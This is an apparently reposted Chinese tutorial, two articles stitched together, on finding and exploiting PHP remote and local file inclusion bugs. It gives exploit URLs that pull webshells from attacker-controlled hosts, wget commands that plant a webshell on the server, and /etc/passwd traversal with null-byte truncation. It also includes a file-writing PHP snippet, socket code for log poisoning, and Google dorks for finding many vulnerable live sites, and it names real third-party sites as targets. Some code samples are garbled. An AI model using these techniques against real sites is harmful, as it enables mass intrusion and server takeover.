首先,我们来讨论包含文件漏洞,首先要问的是,什么才是"远程文件包 含漏洞"?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可去包含一个恶意文件,而我们可以构造这个 恶意文件来达到邪恶的目的。几乎所有的 cgi程序都有这样的 bug,只是具体的表现方式不一样罢了。

一、涉及到的危险函数〔include(),require()和include_once(),require_once()〕

include() && require()语句:包括并运行指定文件。

这两种结构除了在如何处理失败之外完全一样。include() 产生一个警告而 require() 则导致一个致命错误。换句话说,如果你想在遇到丢失文件时停止处理页面就用 require()。include() 就不是这样,脚本会继续运行。
如果"allow_url_fopen"在 PHP 中被激活(默认配置),也可以用 URL(通过 HTTP 或者其它支持的封装协议)而不是本地文件来指定要被包括的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。

require_once() && include_once()

require_once ()和include_once() 语句在脚本执行期间包括并运行指定文件。此行为和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包 括一次以避免函数重定义,变量重新赋值等问题。

二、为什么要包含文件

程序员写程序的时候,不喜欢干同样的事情,也不喜欢把同样的代码(比如一些公用的函数)写几次,于是就把需要公用的代码写在一个单独的文件里面,比如 share.php,而后在其它文件进行包含调用。在php里,我们就是使用上面列举的那几个函数来达到这个目的的,它的工作流程:如果你想在 main.php里包含share.php,我将这样写include("share.php")就达到目的,然后就可以使用share.php中的函数 了,像这个写死需要包含的文件名称的自然没有什么问题,也不会出现漏洞,那么问题到底是出在哪里呢?
有的时候可能不能确定需要包含哪个文件,比如先来看下面这个文件index.php的代码:

CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

if ([page]) {
include GET[page];
} else {
include "home.
}

很正常的一段PHP代码,它是怎么运作的呢?这里面涉及到GET的意义,我就不打算讲了(要不又能写篇HTTP的文章了),如果你还不了解 GET,POST,等,那么你需要再Google一些相关的资料好好补一补了。
上面这段代码的使用格式可能是这样的:http://www.1steam.cn/php/index.php?page=main.php或者http: //www.1steam.cn/php/index.php?page=downloads.php ,结合上面代码,简单说下怎么运作的:

1.提交上面这个URL,在index.php中就取得这个page的值(_GET[page])。
2.判断GET[page]是不是空,若不空(这里是main.php)就用include来包含这个文件。
3.若_GET[page]空的话就执行else,来include home.php 这个文件。

三、为什么会产生漏洞

你也许要说,这样很好呀,可以按照URL来动态包含文件,多么方便呀,怎么产生漏洞的呢?问题的答案是:我们不乖巧,我们总喜欢和别人不一样,我们不会按 照他的链接来操作,我们可能想自己写想包含(调用)的文件,比如我们会随便的打入下面这个URL:http: //www.1steam.cn/php/index.php?page=hello.php。然后我们的index.php程序就傻傻按照上面我们说得 步骤去执行:取page为hello.php,然后去include(hello.php),这时问题出现了,因为我们并没有hello.php这个文 件,所以它 include的时候就会报警告,类似下列信息:

Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/wwwroot/php/index.php on line 3
Warning: include() [function.include]: Failed opening 'hello.php' for inclusion (include_path='.:') in /vhost/wwwroot/php/index.php on line 3

注意上面的那个Warning就是找不到我们指定的hello.php文件,也就是包含不到我们指定路径的文件;而后面的警告是因为前面没有找到指定文 件,所以包含的时候就出警告了。

四、怎么利用

上面可以看到,问题出现了,那么我们怎么利用这样的漏洞呢,利用方法其实很多,但是实质上都是差不多的,我这里说三个比较常见的利用方法:

1.包含读出目标机上其它文件

由前面我们可以看到,由于对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件,例如在前面的警告中,我们可以看到暴露的绝对路 径(vhost/wwwroot/php/),那么我们就可以多次探测来包含其它文件,比如指定URL为:http: //www.1steam.cn/php/index.php?page=./txt.txt 可以读出当前路径下的txt.txt文件,也可以使用.. /../进行目录跳转(在没过滤../的情况下);也可以直接指定绝对路径,读取敏感的系统文件,比如这个URL:http: //www.1steam.cn/php/index.php?page=/etc/passwd ,如果目标主机没有对权限限制的很严格,或者启动 Apache的权限比较高,是可以读出这个文件内容的。否则就会得到一个类似于:open_basedir restriction in effect.的Warning。

2.包含可运行的PHP***

如果目标主机的"allow_url_fopen"是激活的(默认是激活的,没几个人会修改),我们就可以有更大的利用空间,我们可以指定其它URL上的 一个包含PHP代码的webshell来直接运行,比如,我先写一段运行命令的PHP代码(加了注释,应该看得懂),如下保存为cmd.txt(后缀不重 要,只要内容为PHP格式就可以了)。

以上这个文件的作用就是接受cmd指定的命令,并调用passthru函数执行,把内容返回在1.S.T之间。把这个文件保存到我们主机的服务器上(可以 是不支持PHP的主机),只要能通过HTTP访问到就可以了,例如地址如下:http: //www.1ster.cn/cmd.txt ,然后我们就可以在那个漏洞主机上构造如下URL来利用了:http: //www.1steam.cn/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls ,其中 cmd后面的就是你需要执行的命令,其它常用的命令(以*UNIX为例)如下:

Quote:
ll 列目录、文件(相当于Windows下dir)
pwd 查看当前绝对路径
id whoami 查看当前用户
wget 下载指定URL的文件

等等其它的,你主机去BAIDU找吧,就不列举了。

上面的方法就是得到一个Webshell了(虽然这个PHP文件不在目标机上,但是它确实是个Webshell,不是么?呵呵)

3.包含一个创建文件的PHP文件

也许有的人认为还是得到目标机上的一个真实的Webshell比较放心,万一哪天人家发现这儿个包含漏洞修补了,我们就不能再远程包含得到上面的那个"伪 "Webshell了,不是么?可以理解这个心态,我们继续。得到一个真实的Webshell,我们也说两种常见的方法:

1)使用wget之类的命令来下载一个Webshell

这个比较简单,也很常用,在上面我们得到的那个伪webshell中,我们可以执行命令,那么我们也可以调用系统中的一个很厉害的角色, wget,这个命令的强大你可以google下,参数一大堆,绝对搞晕你,呵呵,我们不需要那么复杂,我们就使用一个-O(--output- document=FILE,把文档写到FILE文件中) 就可以了,呵呵。

前提是你在按照前面的步骤放一个包含PHP代码的Webshell在一个可以通过HTTP或者FTP等可以访问的地方,比如:http: //www.1ster.cn/1stphp.txt ,这个文件里写的就是Webshell的内容。然后我们在前面得到的伪Webshell中执行如下的 URL:http://www.1steam.cn/php/index.p ... w.1ster.cn/cmd.txt? cmd=wget http://www.1ster.cn/1stphp.txt -O 1stphp.php ,如果当前目录可写,就能得到一个叫做1stphp.php的Webshell了;如果当前目录不可写,还需要想其它的办法。

2)使用文件来创建

前面的wget可能会遇到当前目录不能写的情况;或者目标主机禁用了(或者没装)这个命令,我们又需要变通一下了,我们可以结合前面的包含文件漏洞来包含 一个创建文件(写文件)的PHP脚本,内容如下:

CODE: [Copy to clipboard]
--------------------------------------------------------------------------------

$f=file_get_contents("www.1ster.cn/1stphp.打开指定路径的文件流
$=fopen("./upload/1st.php","a");     //寻找一个可以的目录,创建一个文件
fwrite (,$f);  //把前面打开的文件流写到创建的文件里
fclose();    //关闭保存文件
?>

还是写入我们上面用wget下载的那个php文件,但是我们改进了方法,用PHP脚本来实现,可以使用上面的cmd.php?cmd=ll查找可以写的目 录,比如这里的upload,然后把文件创建在这个目录下:./upload/1st.php。然后就得到我们的Webshell了。

=================================

大家好,我是cnbird[H.U.C],从这期开始,我将分几期来带领大家一起走进自己挖掘PHP漏洞的殿堂。
我的思路是这样的,先从最最简单的远程文件包含漏洞入手,因为远程文件包含漏洞容易查找,并且危险系数非常高。像我一样的菜鸟,容易挖掘出像这样简单但却利用率高的漏洞。之后就是传说中的SQL注入漏洞,涉及将会很广泛,从非常普通的$_POST和$_GET方式的SQL注入到比较高级的$_SESSION变量的注入。当然,我还会告诉大家如何在Linux下用grep命令快速寻找这样的SQL注入漏洞,以及如何http://google.com/codesearch中寻找大量的特定SQL注入漏洞代码。第三步就是教大家如何寻找上传漏洞、远程代码运行,以及远程修改管理员密码等高级的PHP漏洞。
小提示
Get和Post是HTTP/1.1协议中的两个传送数据的方式。两者的区别通过提交表单才能看得出来,主要是在数据发送方式和接收方式上。一般来说,尽量避免使用Get方式提交表单,因为有可能会导致安全问题。比如在登录表单中用Get方式,用户输入的用户名和密码将在地址栏中暴露无遗。但是在分页程序中,用Get方式就比用Post方式好。

挖掘PHP漏洞的基本环境
要搭建PHP运行环境,Windows下的用户可以下载WAPM来构造,它是运行于Windows平台的综合网络服务器系统,包含了以下组件:Apache2,互联网上最流行的Web服务软件之一,用于提供基本的Web服务功能,支持SSL、GZIP和LIC(IP同时连接数限制)功能;PHP4或PHP5,流行的动态网页语言,用于提供PHP 语言的网络应用程序开发,支持ZendOptimizer优化功能和Zend加密功能,或者Turck MMCahe对PHP的加速、优化、加密、动态缓存功能;Tomcat4,用以提供JSP和Servlet的服务解析。MySQL4,用以SQL数据库功能。
如果是Linux下的用户就必须要有Apache和MySQL的支持。强烈推荐大家在Linux下操作文中的实例,因为这对熟悉PHP漏洞挖掘非常有帮助,比如我们要用到的grep的搜索字符串功能。

PHP远程文件包含漏洞原理
        什么才是远程文件包含漏洞呢?简单的说,就是服务器通过PHP的任意文件包含过滤不严,从而去执行一个恶意文件,这是程序过滤上的问题。PHP远程文件包含漏洞涉及的4个函数是include()、require()、include_once()和require_once(),它们之间的区别请,大家可以参http://php.chinaunix.net/manual/zh/function.include.php中的说明,我就不在这里不浪费口舌了。

PHP远程文件包含漏洞中的三种类型
        也许大家对PHP远程文件包含漏洞已经知道了很多,但是绝对不知道远程文件包含漏洞还包含三种类型吧?以下的内容是从我多年的漏洞代码分析中总结出来的经验,这部分大家一定不要错过,这三种类型我都会详细分析的。
第一种是PHP远程文件包含就是大家经常使用到的,用于测试的主角是Ultimate Fun Book 1.02,一个德国的小巧的记事本。下面我们就开始一步步地分析如何找远程文件包含漏洞并加以利用。
下载源代码到我的RedHat Linux操作系统上,用unzip命令解压缩zip包,进入程序的主目录,如图1所示。首先讲解一下grep的用法,这样大家可以方便地挖掘自己的漏洞。grep(global search regular expression(RE) and print out the line全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。我们主要使用的参数有如下几个:-n,在匹配的行前面打印行号;-r,递归查询,简单的说就是查询当前目录下所有的文件;匹配符*能匹配所有文件类型。具体的解释大家可以参http://man.chinaunix.net/newsoft/grep/open.htm。
javascript:dcs.p_w_picpaths.doresizes(this,0,null);>
图1
理解了grep的用法后,结合前面讲解的PHP远程文件包含涉及的几个函数,我们开始挖掘自己的漏洞之旅吧。
在命令行中输入“grep -r -n 'include' *”,如图2所示,没有输出任何结果,说明这个程序没有用到include函数。继续输入“grep –n –r 'require' *”,如图3所示,嘿嘿,出来了几个。此时注意看“ufbook/function.php:8:require($gbpfad." /config.php");”,结合以前的代码,我们知道这里的$gbpfad变量第一次出现,没有任何的过滤,在allow_url_fopen为 ON的时候,我们就可以构建语句了,格式为“网站路径/function.php?gbpfad=远程要执行的代码”。
javascript:dcs.p_w_picpaths.doresizes(this,0,null);>
图2

图3
我们先在本地测试一下,提交http://192.168.0.3/ufbook/FULL/ufbook/function.php?gbpfad=http://192.168.0.1/c99shell.txt?”,其中的192.168.0.3是我的Linux主机,192.168.0.1是我自己的机器。这条语句的意思就是让$gbpfad执行 192.168.0.1上的c99shell.txt文件,如图4所示,这个时候我们就已经成功地执行了一个假的WebShell了。我们要拿到服务器上的WebShell也很简单,利用这个假的WebShell在服务器上找一个可写的目录,然后利用c99shell的上传功能把自己需要的 WebShell上传就可以了。

图4
不过仅找到漏洞对我们来说还是不够的,我们为的是拿大量网站的WebShell。接下来我们就要找这个程序的特殊字符了,目的是为了用Google.com 搜索有漏洞的网站。这套程序的特殊字符是“Powered by Ultimate-Fun-Book 1.02”,很简单也很明显,搜索后的结果如图5所示,找到了24个网站,看来用这套程序的还不是很多嘛。我们随便找一个试一下,具体过程我就省略了,大家可以用http://www.microcheese.de/ufbook/function.php?gbpfad=http://121.16.59.229/c99shell.txt?”来测试,如图6所示是我们成功后的结果。

图5

图6
第一种类型至此就分析完了,很简单吧?当然,我们防御的方法也很简单,如图7所示,只要把$gbpfad初始化一下就可以了。

图7
        第二种类型是本地包含PHP文件,这里给大家说一下漏洞所在就可以了,按照第一种方法可以找到漏洞。
漏洞代码:include“/include/” . $action . “php”;
利用方法:“exp.php?action=../../../../../etc/passwd%00”提交以后的包含代码就变成了“include “/include/” . ../../../../.,/etc/passwd%00.“php””。这里的“%00”在PHP中的意思就是截断以后的代码。比如有漏洞的地址是http://satconxion.org/instaladores/index.php?action=view&filename=../../../../../../etc/passwd”,则返回的结果就是“/etc/passwd”中的文件了,如图8所示。

图8
第三种类型是本地文件包含其他,和第二种类型基本上差不多,就不多说了,漏洞代码为“include“/mods” . $moudle;”,漏洞利用为“exp.php?moudle=../../../../../../etc/passwd”。
其实第二种和第三种漏洞是能够直接得到WebShell的,这里先简单地跟大家解释一下,在高级部分我会详细讲解如何利用的。其原理就是把我们要执行的代码插入到Apache的日志Log中,然后自己写代码模拟Post方式向主机提交如下请求,这样就可以执行系统的命令了。

print $socket "GET ".$path."index.php?GLOBALS[tplname]=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";

关于挖掘PHP远程文件包含漏洞的讲解到这里就算结束了,最后我再教大家一个在Google.com上搜索远程文件包含漏洞的方法。首先打http://www.google.com/codesearch,搜索代码“^include\(\$(.*)\);$ lang:PHP”,意思就是搜索以include开头的匹配结果($后面是任意的名称),如图9所示,我们找到了7000个这样的程序,结合本文所写的找漏洞程序的特殊字符,就可以找到N多有漏洞的网站了,是不是很有成就感呢?呵呵,作为一个菜鸟,重要的是要多多总结,时刻记录下认为重要的东西,总结得多了,我们的技术自然就会慢慢增长了。

图9
        这期文章就写到这里了,下期的主要内容是SQL注入漏洞,提前透露一下,我们可不是简单地分析一些普通的没有过滤变量直接带入SQL语句查询的漏洞,而是要深入到PHP脚本程序的本身去挖掘SQL注入漏洞。好了,我们下期见吧!
您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

===========================================




PHP远程和本地文件包含的文章网上不多,这两篇粘到一起了免得到处找,文章有不通的地方 先记录下